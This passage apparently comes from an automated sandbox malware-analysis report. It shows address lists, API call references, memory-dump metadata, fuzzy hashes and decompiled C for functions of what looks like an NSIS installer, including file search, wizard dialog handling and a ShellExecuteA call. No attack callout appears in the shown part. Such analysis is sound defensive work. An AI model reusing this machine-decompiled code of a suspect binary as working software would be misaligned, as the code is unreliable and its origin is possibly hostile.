                                                                                                        0x004020a6
                                                                                                        0x004020a8
                                                                                                        0x004020b3
                                                                                                        0x004020b6
                                                                                                        0x004020c3
                                                                                                        0x004020c5
                                                                                                        0x004020c7
                                                                                                        0x004020ce
                                                                                                        0x004020d1
                                                                                                        0x004020d1
                                                                                                        0x004020d4
                                                                                                        0x004020de
                                                                                                        0x004020e6
                                                                                                        0x004020eb
                                                                                                        0x004020f7
                                                                                                        0x004020f7
                                                                                                        0x004020fa
                                                                                                        0x00402103
                                                                                                        0x00402106
                                                                                                        0x0040210f
                                                                                                        0x00402114
                                                                                                        0x00402126
                                                                                                        0x00402135
                                                                                                        0x00402137
                                                                                                        0x00402143
                                                                                                        0x00402143
                                                                                                        0x00402135
                                                                                                        0x00402145
                                                                                                        0x0040214b
                                                                                                        0x0040214b
                                                                                                        0x0040214e
                                                                                                        0x00402154
                                                                                                        0x00402159
                                                                                                        0x0040216e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00402159
                                                                                                        0x00402164
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
                                                                                                        • MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409368,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D
                                                                                                        Strings
                                                                                                        • C:\Users\user\AppData\Local\Temp, xrefs: 004020AB
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: ByteCharCreateInstanceMultiWide
                                                                                                        • String ID: C:\Users\user\AppData\Local\Temp
                                                                                                        • API String ID: 123533781-47812868
                                                                                                        • Opcode ID: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
                                                                                                        • Instruction ID: 0b92ce9401c32f92a97655b67b17bc3e2e7042a2ba93bb40bff56c30807ccd12
                                                                                                        • Opcode Fuzzy Hash: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
                                                                                                        • Instruction Fuzzy Hash: 94418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 39%
                                                                                                        			E0040263E(char __ebx, char* __edi, char* __esi) {
                                                                                                        				void* _t19;
                                                                                                        
                                                                                                        				if(FindFirstFileA(E004029F6(2), _t19 - 0x1a4) != 0xffffffff) {
                                                                                                        					E00405AC4(__edi, _t6);
                                                                                                        					_push(_t19 - 0x178);
                                                                                                        					_push(__esi);
                                                                                                        					E00405B66();
                                                                                                        				} else {
                                                                                                        					 *__edi = __ebx;
                                                                                                        					 *__esi = __ebx;
                                                                                                        					 *((intOrPtr*)(_t19 - 4)) = 1;
                                                                                                        				}
                                                                                                        				 *0x423f28 =  *0x423f28 +  *((intOrPtr*)(_t19 - 4));
                                                                                                        				return 0;
                                                                                                        			}




                                                                                                        0x00402656
                                                                                                        0x0040266a
                                                                                                        0x00402675
                                                                                                        0x00402676
                                                                                                        0x004027b1
                                                                                                        0x00402658
                                                                                                        0x00402658
                                                                                                        0x0040265a
                                                                                                        0x0040265c
                                                                                                        0x0040265c
                                                                                                        0x0040288e
                                                                                                        0x0040289a

                                                                                                        APIs
                                                                                                        • FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: FileFindFirst
                                                                                                        • String ID:
                                                                                                        • API String ID: 1974802433-0
                                                                                                        • Opcode ID: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
                                                                                                        • Instruction ID: b3d2387cb92b068db8966d6a1439c3c253679041c8135bb289436d91baf53d0e
                                                                                                        • Opcode Fuzzy Hash: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
                                                                                                        • Instruction Fuzzy Hash: 42F0A072A04201DBD700EBB49A89AEEB7789B51328F60067BE111F20C1C6B85A459B2E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 83%
                                                                                                        			E00403A45(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
                                                                                                        				struct HWND__* _v32;
                                                                                                        				void* _v84;
                                                                                                        				void* _v88;
                                                                                                        				void* __ebx;
                                                                                                        				void* __edi;
                                                                                                        				void* __esi;
                                                                                                        				signed int _t35;
                                                                                                        				signed int _t37;
                                                                                                        				signed int _t39;
                                                                                                        				struct HWND__* _t49;
                                                                                                        				signed int _t67;
                                                                                                        				struct HWND__* _t73;
                                                                                                        				signed int _t86;
                                                                                                        				struct HWND__* _t91;
                                                                                                        				signed int _t99;
                                                                                                        				int _t103;
                                                                                                        				signed int _t115;
                                                                                                        				signed int _t116;
                                                                                                        				int _t117;
                                                                                                        				signed int _t122;
                                                                                                        				struct HWND__* _t125;
                                                                                                        				struct HWND__* _t126;
                                                                                                        				int _t127;
                                                                                                        				long _t130;
                                                                                                        				int _t132;
                                                                                                        				int _t133;
                                                                                                        				void* _t134;
                                                                                                        
                                                                                                        				_t115 = _a8;
                                                                                                        				if(_t115 == 0x110 || _t115 == 0x408) {
                                                                                                        					_t35 = _a12;
                                                                                                        					_t125 = _a4;
                                                                                                        					__eflags = _t115 - 0x110;
                                                                                                        					 *0x420484 = _t35;
                                                                                                        					if(_t115 == 0x110) {
                                                                                                        						 *0x423ea8 = _t125;
                                                                                                        						 *0x420498 = GetDlgItem(_t125, 1);
                                                                                                        						_t91 = GetDlgItem(_t125, 2);
                                                                                                        						_push(0xffffffff);
                                                                                                        						_push(0x1c);
                                                                                                        						 *0x41f460 = _t91;
                                                                                                        						E00403F18(_t125);
                                                                                                        						SetClassLongA(_t125, 0xfffffff2,  *0x423688);
                                                                                                        						 *0x42366c = E0040140B(4);
                                                                                                        						_t35 = 1;
                                                                                                        						__eflags = 1;
                                                                                                        						 *0x420484 = 1;
                                                                                                        					}
                                                                                                        					_t122 =  *0x4091c4; // 0xffffffff
                                                                                                        					_t133 = 0;
                                                                                                        					_t130 = (_t122 << 6) +  *0x423ec0;
                                                                                                        					__eflags = _t122;
                                                                                                        					if(_t122 < 0) {
                                                                                                        						L34:
                                                                                                        						E00403F64(0x40b);
                                                                                                        						while(1) {
                                                                                                        							_t37 =  *0x420484;
                                                                                                        							 *0x4091c4 =  *0x4091c4 + _t37;
                                                                                                        							_t130 = _t130 + (_t37 << 6);
                                                                                                        							_t39 =  *0x4091c4; // 0xffffffff
                                                                                                        							__eflags = _t39 -  *0x423ec4;
                                                                                                        							if(_t39 ==  *0x423ec4) {
                                                                                                        								E0040140B(1);
                                                                                                        							}
                                                                                                        							__eflags =  *0x42366c - _t133;
                                                                                                        							if( *0x42366c != _t133) {
                                                                                                        								break;
                                                                                                        							}
                                                                                                        							__eflags =  *0x4091c4 -  *0x423ec4; // 0xffffffff
                                                                                                        							if(__eflags >= 0) {
                                                                                                        								break;
                                                                                                        							}
                                                                                                        							_t116 =  *(_t130 + 0x14);
                                                                                                        							E00405B88(_t116, _t125, _t130, 0x42b800,  *((intOrPtr*)(_t130 + 0x24)));
                                                                                                        							_push( *((intOrPtr*)(_t130 + 0x20)));
                                                                                                        							_push(0xfffffc19);
                                                                                                        							E00403F18(_t125);
                                                                                                        							_push( *((intOrPtr*)(_t130 + 0x1c)));
                                                                                                        							_push(0xfffffc1b);
                                                                                                        							E00403F18(_t125);
                                                                                                        							_push( *((intOrPtr*)(_t130 + 0x28)));
                                                                                                        							_push(0xfffffc1a);
                                                                                                        							E00403F18(_t125);
                                                                                                        							_t49 = GetDlgItem(_t125, 3);
                                                                                                        							__eflags =  *0x423f2c - _t133;
                                                                                                        							_v32 = _t49;
                                                                                                        							if( *0x423f2c != _t133) {
                                                                                                        								_t116 = _t116 & 0x0000fefd | 0x00000004;
                                                                                                        								__eflags = _t116;
                                                                                                        							}
                                                                                                        							ShowWindow(_t49, _t116 & 0x00000008);
                                                                                                        							EnableWindow( *(_t134 + 0x30), _t116 & 0x00000100);
                                                                                                        							E00403F3A(_t116 & 0x00000002);
                                                                                                        							_t117 = _t116 & 0x00000004;
                                                                                                        							EnableWindow( *0x41f460, _t117);
                                                                                                        							__eflags = _t117 - _t133;
                                                                                                        							if(_t117 == _t133) {
                                                                                                        								_push(1);
                                                                                                        							} else {
                                                                                                        								_push(_t133);
                                                                                                        							}
                                                                                                        							EnableMenuItem(GetSystemMenu(_t125, _t133), 0xf060, ??);
                                                                                                        							SendMessageA( *(_t134 + 0x38), 0xf4, _t133, 1);
                                                                                                        							__eflags =  *0x423f2c - _t133;
                                                                                                        							if( *0x423f2c == _t133) {
                                                                                                        								_push( *0x420498);
                                                                                                        							} else {
                                                                                                        								SendMessageA(_t125, 0x401, 2, _t133);
                                                                                                        								_push( *0x41f460);
                                                                                                        							}
                                                                                                        							E00403F4D();
                                                                                                        							E00405B66(0x4204a0, 0x4236a0);
                                                                                                        							E00405B88(0x4204a0, _t125, _t130,  &(0x4204a0[lstrlenA(0x4204a0)]),  *((intOrPtr*)(_t130 + 0x18)));
                                                                                                        							SetWindowTextA(_t125, 0x4204a0);
                                                                                                        							_push(_t133);
                                                                                                        							_t67 = E00401389( *((intOrPtr*)(_t130 + 8)));
                                                                                                        							__eflags = _t67;
                                                                                                        							if(_t67 != 0) {
                                                                                                        								continue;
                                                                                                        							} else {
                                                                                                        								__eflags =  *_t130 - _t133;
                                                                                                        								if( *_t130 == _t133) {
                                                                                                        									continue;
                                                                                                        								}
                                                                                                        								__eflags =  *(_t130 + 4) - 5;
                                                                                                        								if( *(_t130 + 4) != 5) {
                                                                                                        									DestroyWindow( *0x423678);
                                                                                                        									 *0x41fc70 = _t130;
                                                                                                        									__eflags =  *_t130 - _t133;
                                                                                                        									if( *_t130 <= _t133) {
                                                                                                        										goto L58;
                                                                                                        									}
                                                                                                        									_t73 = CreateDialogParamA( *0x423ea0,  *_t130 +  *0x423680 & 0x0000ffff, _t125,  *(0x4091c8 +  *(_t130 + 4) * 4), _t130);
                                                                                                        									__eflags = _t73 - _t133;
                                                                                                        									 *0x423678 = _t73;
                                                                                                        									if(_t73 == _t133) {
                                                                                                        										goto L58;
                                                                                                        									}
                                                                                                        									_push( *((intOrPtr*)(_t130 + 0x2c)));
                                                                                                        									_push(6);
                                                                                                        									E00403F18(_t73);
                                                                                                        									GetWindowRect(GetDlgItem(_t125, 0x3fa), _t134 + 0x10);
                                                                                                        									ScreenToClient(_t125, _t134 + 0x10);
                                                                                                        									SetWindowPos( *0x423678, _t133,  *(_t134 + 0x20),  *(_t134 + 0x20), _t133, _t133, 0x15);
                                                                                                        									_push(_t133);
                                                                                                        									E00401389( *((intOrPtr*)(_t130 + 0xc)));
                                                                                                        									__eflags =  *0x42366c - _t133;
                                                                                                        									if( *0x42366c != _t133) {
                                                                                                        										goto L61;
                                                                                                        									}
                                                                                                        									ShowWindow( *0x423678, 8);
                                                                                                        									E00403F64(0x405);
                                                                                                        									goto L58;
                                                                                                        								}
                                                                                                        								__eflags =  *0x423f2c - _t133;
                                                                                                        								if( *0x423f2c != _t133) {
                                                                                                        									goto L61;
                                                                                                        								}
                                                                                                        								__eflags =  *0x423f20 - _t133;
                                                                                                        								if( *0x423f20 != _t133) {
                                                                                                        									continue;
                                                                                                        								}
                                                                                                        								goto L61;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						DestroyWindow( *0x423678);
                                                                                                        						 *0x423ea8 = _t133;
                                                                                                        						EndDialog(_t125,  *0x41f868);
                                                                                                        						goto L58;
                                                                                                        					} else {
                                                                                                        						__eflags = _t35 - 1;
                                                                                                        						if(_t35 != 1) {
                                                                                                        							L33:
                                                                                                        							__eflags =  *_t130 - _t133;
                                                                                                        							if( *_t130 == _t133) {
                                                                                                        								goto L61;
                                                                                                        							}
                                                                                                        							goto L34;
                                                                                                        						}
                                                                                                        						_push(0);
                                                                                                        						_t86 = E00401389( *((intOrPtr*)(_t130 + 0x10)));
                                                                                                        						__eflags = _t86;
                                                                                                        						if(_t86 == 0) {
                                                                                                        							goto L33;
                                                                                                        						}
                                                                                                        						SendMessageA( *0x423678, 0x40f, 0, 1);
                                                                                                        						__eflags =  *0x42366c;
                                                                                                        						return 0 |  *0x42366c == 0x00000000;
                                                                                                        					}
                                                                                                        				} else {
                                                                                                        					_t125 = _a4;
                                                                                                        					_t133 = 0;
                                                                                                        					if(_t115 == 0x47) {
                                                                                                        						SetWindowPos( *0x420478, _t125, 0, 0, 0, 0, 0x13);
                                                                                                        					}
                                                                                                        					if(_t115 == 5) {
                                                                                                        						asm("sbb eax, eax");
                                                                                                        						ShowWindow( *0x420478,  ~(_a12 - 1) & _t115);
                                                                                                        					}
                                                                                                        					if(_t115 != 0x40d) {
                                                                                                        						__eflags = _t115 - 0x11;
                                                                                                        						if(_t115 != 0x11) {
                                                                                                        							__eflags = _t115 - 0x111;
                                                                                                        							if(_t115 != 0x111) {
                                                                                                        								L26:
                                                                                                        								return E00403F7F(_t115, _a12, _a16);
                                                                                                        							}
                                                                                                        							_t132 = _a12 & 0x0000ffff;
                                                                                                        							_t126 = GetDlgItem(_t125, _t132);
                                                                                                        							__eflags = _t126 - _t133;
                                                                                                        							if(_t126 == _t133) {
                                                                                                        								L13:
                                                                                                        								__eflags = _t132 - 1;
                                                                                                        								if(_t132 != 1) {
                                                                                                        									__eflags = _t132 - 3;
                                                                                                        									if(_t132 != 3) {
                                                                                                        										_t127 = 2;
                                                                                                        										__eflags = _t132 - _t127;
                                                                                                        										if(_t132 != _t127) {
                                                                                                        											L25:
                                                                                                        											SendMessageA( *0x423678, 0x111, _a12, _a16);
                                                                                                        											goto L26;
                                                                                                        										}
                                                                                                        										__eflags =  *0x423f2c - _t133;
                                                                                                        										if( *0x423f2c == _t133) {
                                                                                                        											_t99 = E0040140B(3);
                                                                                                        											__eflags = _t99;
                                                                                                        											if(_t99 != 0) {
                                                                                                        												goto L26;
                                                                                                        											}
                                                                                                        											 *0x41f868 = 1;
                                                                                                        											L21:
                                                                                                        											_push(0x78);
                                                                                                        											L22:
                                                                                                        											E00403EF1();
                                                                                                        											goto L26;
                                                                                                        										}
                                                                                                        										E0040140B(_t127);
                                                                                                        										 *0x41f868 = _t127;
                                                                                                        										goto L21;
                                                                                                        									}
                                                                                                        									__eflags =  *0x4091c4 - _t133; // 0xffffffff
                                                                                                        									if(__eflags <= 0) {
                                                                                                        										goto L25;
                                                                                                        									}
                                                                                                        									_push(0xffffffff);
                                                                                                        									goto L22;
                                                                                                        								}
                                                                                                        								_push(_t132);
                                                                                                        								goto L22;
                                                                                                        							}
                                                                                                        							SendMessageA(_t126, 0xf3, _t133, _t133);
                                                                                                        							_t103 = IsWindowEnabled(_t126);
                                                                                                        							__eflags = _t103;
                                                                                                        							if(_t103 == 0) {
                                                                                                        								goto L61;
                                                                                                        							}
                                                                                                        							goto L13;
                                                                                                        						}
                                                                                                        						SetWindowLongA(_t125, _t133, _t133);
                                                                                                        						return 1;
                                                                                                        					} else {
                                                                                                        						DestroyWindow( *0x423678);
                                                                                                        						 *0x423678 = _a12;
                                                                                                        						L58:
                                                                                                        						if( *0x4214a0 == _t133 &&  *0x423678 != _t133) {
                                                                                                        							ShowWindow(_t125, 0xa);
                                                                                                        							 *0x4214a0 = 1;
                                                                                                        						}
                                                                                                        						L61:
                                                                                                        						return 0;
                                                                                                        					}
                                                                                                        				}
                                                                                                        			}






























                                                                                                        0x00403a4e
                                                                                                        0x00403a57
                                                                                                        0x00403b98
                                                                                                        0x00403b9c
                                                                                                        0x00403ba0
                                                                                                        0x00403ba2
                                                                                                        0x00403ba7
                                                                                                        0x00403bb2
                                                                                                        0x00403bbd
                                                                                                        0x00403bc2
                                                                                                        0x00403bc4
                                                                                                        0x00403bc6
                                                                                                        0x00403bc9
                                                                                                        0x00403bce
                                                                                                        0x00403bdc
                                                                                                        0x00403be9
                                                                                                        0x00403bf0
                                                                                                        0x00403bf0
                                                                                                        0x00403bf1
                                                                                                        0x00403bf1
                                                                                                        0x00403bf6
                                                                                                        0x00403bfc
                                                                                                        0x00403c03
                                                                                                        0x00403c09
                                                                                                        0x00403c0b
                                                                                                        0x00403c4b
                                                                                                        0x00403c50
                                                                                                        0x00403c55
                                                                                                        0x00403c55
                                                                                                        0x00403c5a
                                                                                                        0x00403c63
                                                                                                        0x00403c65
                                                                                                        0x00403c6a
                                                                                                        0x00403c70
                                                                                                        0x00403c74
                                                                                                        0x00403c74
                                                                                                        0x00403c79
                                                                                                        0x00403c7f
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403c8a
                                                                                                        0x00403c90
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403c99
                                                                                                        0x00403ca1
                                                                                                        0x00403ca6
                                                                                                        0x00403ca9
                                                                                                        0x00403caf
                                                                                                        0x00403cb4
                                                                                                        0x00403cb7
                                                                                                        0x00403cbd
                                                                                                        0x00403cc2
                                                                                                        0x00403cc5
                                                                                                        0x00403ccb
                                                                                                        0x00403cd3
                                                                                                        0x00403cd9
                                                                                                        0x00403cdf
                                                                                                        0x00403ce3
                                                                                                        0x00403cea
                                                                                                        0x00403cea
                                                                                                        0x00403cea
                                                                                                        0x00403cf4
                                                                                                        0x00403d06
                                                                                                        0x00403d12
                                                                                                        0x00403d17
                                                                                                        0x00403d21
                                                                                                        0x00403d27
                                                                                                        0x00403d29
                                                                                                        0x00403d2e
                                                                                                        0x00403d2b
                                                                                                        0x00403d2b
                                                                                                        0x00403d2b
                                                                                                        0x00403d3e
                                                                                                        0x00403d56
                                                                                                        0x00403d58
                                                                                                        0x00403d5e
                                                                                                        0x00403d73
                                                                                                        0x00403d60
                                                                                                        0x00403d69
                                                                                                        0x00403d6b
                                                                                                        0x00403d6b
                                                                                                        0x00403d79
                                                                                                        0x00403d89
                                                                                                        0x00403d9a
                                                                                                        0x00403da1
                                                                                                        0x00403da7
                                                                                                        0x00403dab
                                                                                                        0x00403db0
                                                                                                        0x00403db2
                                                                                                        0x00000000
                                                                                                        0x00403db8
                                                                                                        0x00403db8
                                                                                                        0x00403dba
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403dc0
                                                                                                        0x00403dc4
                                                                                                        0x00403de9
                                                                                                        0x00403def
                                                                                                        0x00403df5
                                                                                                        0x00403df7
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403e1d
                                                                                                        0x00403e23
                                                                                                        0x00403e25
                                                                                                        0x00403e2a
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403e30
                                                                                                        0x00403e33
                                                                                                        0x00403e36
                                                                                                        0x00403e4d
                                                                                                        0x00403e59
                                                                                                        0x00403e72
                                                                                                        0x00403e78
                                                                                                        0x00403e7c
                                                                                                        0x00403e81
                                                                                                        0x00403e87
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403e91
                                                                                                        0x00403e9c
                                                                                                        0x00000000
                                                                                                        0x00403e9c
                                                                                                        0x00403dc6
                                                                                                        0x00403dcc
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403dd2
                                                                                                        0x00403dd8
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403dde
                                                                                                        0x00403db2
                                                                                                        0x00403ea9
                                                                                                        0x00403eb5
                                                                                                        0x00403ebc
                                                                                                        0x00000000
                                                                                                        0x00403c0d
                                                                                                        0x00403c0d
                                                                                                        0x00403c10
                                                                                                        0x00403c43
                                                                                                        0x00403c43
                                                                                                        0x00403c45
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403c45
                                                                                                        0x00403c12
                                                                                                        0x00403c16
                                                                                                        0x00403c1b
                                                                                                        0x00403c1d
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403c2d
                                                                                                        0x00403c35
                                                                                                        0x00000000
                                                                                                        0x00403c3b
                                                                                                        0x00403a69
                                                                                                        0x00403a69
                                                                                                        0x00403a6d
                                                                                                        0x00403a72
                                                                                                        0x00403a81
                                                                                                        0x00403a81
                                                                                                        0x00403a8a
                                                                                                        0x00403a93
                                                                                                        0x00403a9e
                                                                                                        0x00403a9e
                                                                                                        0x00403aaa
                                                                                                        0x00403ac6
                                                                                                        0x00403ac9
                                                                                                        0x00403adc
                                                                                                        0x00403ae2
                                                                                                        0x00403b85
                                                                                                        0x00000000
                                                                                                        0x00403b8e
                                                                                                        0x00403ae8
                                                                                                        0x00403af5
                                                                                                        0x00403af7
                                                                                                        0x00403af9
                                                                                                        0x00403b18
                                                                                                        0x00403b18
                                                                                                        0x00403b1b
                                                                                                        0x00403b20
                                                                                                        0x00403b23
                                                                                                        0x00403b33
                                                                                                        0x00403b34
                                                                                                        0x00403b36
                                                                                                        0x00403b6c
                                                                                                        0x00403b7f
                                                                                                        0x00000000
                                                                                                        0x00403b7f
                                                                                                        0x00403b38
                                                                                                        0x00403b3e
                                                                                                        0x00403b57
                                                                                                        0x00403b5c
                                                                                                        0x00403b5e
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403b60
                                                                                                        0x00403b4c
                                                                                                        0x00403b4c
                                                                                                        0x00403b4e
                                                                                                        0x00403b4e
                                                                                                        0x00000000
                                                                                                        0x00403b4e
                                                                                                        0x00403b41
                                                                                                        0x00403b46
                                                                                                        0x00000000
                                                                                                        0x00403b46
                                                                                                        0x00403b25
                                                                                                        0x00403b2b
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403b2d
                                                                                                        0x00000000
                                                                                                        0x00403b2d
                                                                                                        0x00403b1d
                                                                                                        0x00000000
                                                                                                        0x00403b1d
                                                                                                        0x00403b03
                                                                                                        0x00403b0a
                                                                                                        0x00403b10
                                                                                                        0x00403b12
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00000000
                                                                                                        0x00403b12
                                                                                                        0x00403ace
                                                                                                        0x00000000
                                                                                                        0x00403aac
                                                                                                        0x00403ab2
                                                                                                        0x00403abc
                                                                                                        0x00403ec2
                                                                                                        0x00403ec8
                                                                                                        0x00403ed5
                                                                                                        0x00403edb
                                                                                                        0x00403edb
                                                                                                        0x00403ee5
                                                                                                        0x00000000
                                                                                                        0x00403ee5
                                                                                                        0x00403aaa

                                                                                                        APIs
                                                                                                        • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403A81
                                                                                                        • ShowWindow.USER32(?), ref: 00403A9E
                                                                                                        • DestroyWindow.USER32 ref: 00403AB2
                                                                                                        • SetWindowLongA.USER32 ref: 00403ACE
                                                                                                        • GetDlgItem.USER32 ref: 00403AEF
                                                                                                        • SendMessageA.USER32 ref: 00403B03
                                                                                                        • IsWindowEnabled.USER32(00000000), ref: 00403B0A
                                                                                                        • GetDlgItem.USER32 ref: 00403BB8
                                                                                                        • GetDlgItem.USER32 ref: 00403BC2
                                                                                                        • SetClassLongA.USER32(?,000000F2,?,0000001C,000000FF), ref: 00403BDC
                                                                                                        • SendMessageA.USER32 ref: 00403C2D
                                                                                                        • GetDlgItem.USER32 ref: 00403CD3
                                                                                                        • ShowWindow.USER32(00000000,?), ref: 00403CF4
                                                                                                        • EnableWindow.USER32(?,?), ref: 00403D06
                                                                                                        • EnableWindow.USER32(?,?), ref: 00403D21
                                                                                                        • GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00403D37
                                                                                                        • EnableMenuItem.USER32 ref: 00403D3E
                                                                                                        • SendMessageA.USER32 ref: 00403D56
                                                                                                        • SendMessageA.USER32 ref: 00403D69
                                                                                                        • lstrlenA.KERNEL32(004204A0,?,004204A0,004236A0), ref: 00403D92
                                                                                                        • SetWindowTextA.USER32(?,004204A0), ref: 00403DA1
                                                                                                        • ShowWindow.USER32(?,0000000A), ref: 00403ED5
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000000.00000002.656386368.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
                                                                                                        • Associated: 00000000.00000002.656356276.0000000000400000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656407437.0000000000407000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656426711.0000000000409000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656507911.0000000000422000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656515286.0000000000429000.00000004.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656526789.000000000042C000.00000002.00020000.sdmp Download File
                                                                                                        • Associated: 00000000.00000002.656592576.000000000043C000.00000002.00020000.sdmp Download File
                                                                                                        Similarity
                                                                                                        • API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
                                                                                                        • String ID:
                                                                                                        • API String ID: 184305955-0
                                                                                                        • Opcode ID: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
                                                                                                        • Instruction ID: 1b558320748e03173a152966608fa9e4bba3452d5179f8dde3fdb5243a6fbb8a
                                                                                                        • Opcode Fuzzy Hash: 14e7e0a8131732f9e150b36a7fce0cb21c204cb0cec2561e24870ec1d01c69b9
                                                                                                        • Instruction Fuzzy Hash: 21C18071A04204BBDB216F21ED45E2B3E7DEB4970AF40053EF541B12E1C739AA42DB6E
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        C-Code - Quality: 93%
                                                                                                        			E00404060(struct HWND__* _a4, intOrPtr _a8, unsigned int _a12, int _a16) {
                                                                                                        				char _v8;
                                                                                                        				signed int _v12;
                                                                                                        				void* _v16;
                                                                                                        				struct HWND__* _t52;
                                                                                                        				long _t86;
                                                                                                        				int _t98;
                                                                                                        				struct HWND__* _t99;
                                                                                                        				signed int _t100;
                                                                                                        				intOrPtr _t109;
                                                                                                        				int _t110;
                                                                                                        				signed int* _t112;
                                                                                                        				signed int _t113;
                                                                                                        				char* _t114;
                                                                                                        				CHAR* _t115;
                                                                                                        
                                                                                                        				if(_a8 != 0x110) {
                                                                                                        					if(_a8 != 0x111) {
                                                                                                        						L11:
                                                                                                        						if(_a8 != 0x4e) {
                                                                                                        							if(_a8 == 0x40b) {
                                                                                                        								 *0x420480 =  *0x420480 + 1;
                                                                                                        							}
                                                                                                        							L25:
                                                                                                        							_t110 = _a16;
                                                                                                        							L26:
                                                                                                        							return E00403F7F(_a8, _a12, _t110);
                                                                                                        						}
                                                                                                        						_t52 = GetDlgItem(_a4, 0x3e8);
                                                                                                        						_t110 = _a16;
                                                                                                        						if( *((intOrPtr*)(_t110 + 8)) == 0x70b &&  *((intOrPtr*)(_t110 + 0xc)) == 0x201) {
                                                                                                        							_t100 =  *((intOrPtr*)(_t110 + 0x1c));
                                                                                                        							_t109 =  *((intOrPtr*)(_t110 + 0x18));
                                                                                                        							_v12 = _t100;
                                                                                                        							_v16 = _t109;
                                                                                                        							_v8 = 0x422e40;
                                                                                                        							if(_t100 - _t109 < 0x800) {
                                                                                                        								SendMessageA(_t52, 0x44b, 0,  &_v16);
                                                                                                        								SetCursor(LoadCursorA(0, 0x7f02));
                                                                                                        								_t40 =  &_v8; // 0x422e40
                                                                                                        								ShellExecuteA(_a4, "open",  *_t40, 0, 0, 1);
                                                                                                        								SetCursor(LoadCursorA(0, 0x7f00));
                                                                                                        								_t110 = _a16;
                                                                                                        							}
                                                                                                        						}
                                                                                                        						if( *((intOrPtr*)(_t110 + 8)) != 0x700 ||  *((intOrPtr*)(_t110 + 0xc)) != 0x100) {
                                                                                                        							goto L26;
                                                                                                        						} else {
                                                                                                        							if( *((intOrPtr*)(_t110 + 0x10)) == 0xd) {
                                                                                                        								SendMessageA( *0x423ea8, 0x111, 1, 0);
                                                                                                        							}
                                                                                                        							if( *((intOrPtr*)(_t110 + 0x10)) == 0x1b) {
                                                                                                        								SendMessageA( *0x423ea8, 0x10, 0, 0);
